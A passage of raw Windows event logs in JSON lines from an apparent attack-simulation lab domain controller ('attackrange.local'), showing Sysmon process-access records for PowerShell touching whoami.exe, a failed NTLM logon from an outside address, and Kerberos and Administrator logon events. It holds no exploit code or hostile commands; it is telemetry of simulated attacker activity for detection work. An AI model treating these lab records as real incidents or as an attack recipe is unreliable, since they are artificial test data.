i.dll+3e65481a(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e6b2ce9(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e69634e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e69634e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e6961df(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e688164(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e694697(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e69428a(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e693fb3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e693c84(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3f145099(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e67aae5(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e67a0b5(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-400A-5F2D-0000-001065680400}","SourceProcessId":"4784","SourceThreadId":"4876","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-00104B740400}","TargetProcessId":"4880","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3f1f2ed9(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e693fb3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e693c84(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3f145099(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e65481a(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e6b2ce9(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e69634e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e69634e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e6961df(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e688164(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e694697(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e69428a(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e693fb3(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e693c84(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3f145099(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e67aae5(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3e67a0b5(wow64)","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2591,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-00104B740400}\r\nTargetProcessId: 4880\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-00104B740400}","TargetProcessId":"4880","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2592,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.179\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-00105E650400}\r\nSourceProcessId: 4708\r\nSourceThreadId: 4728\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-00104B740400}\r\nTargetProcessId: 4880\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.179","SourceProcessGUID":"{90617006-4009-5F2D-0000-00105E650400}","SourceProcessId":"4708","SourceThreadId":"4728","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-00104B740400}","TargetProcessId":"4880","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221746,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t53355\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"53355","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221747,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46A2C\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x46a2c","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2593,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.242\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.242","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221748,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221749,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221750,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221751,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x475A7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x475a7","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221752,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon 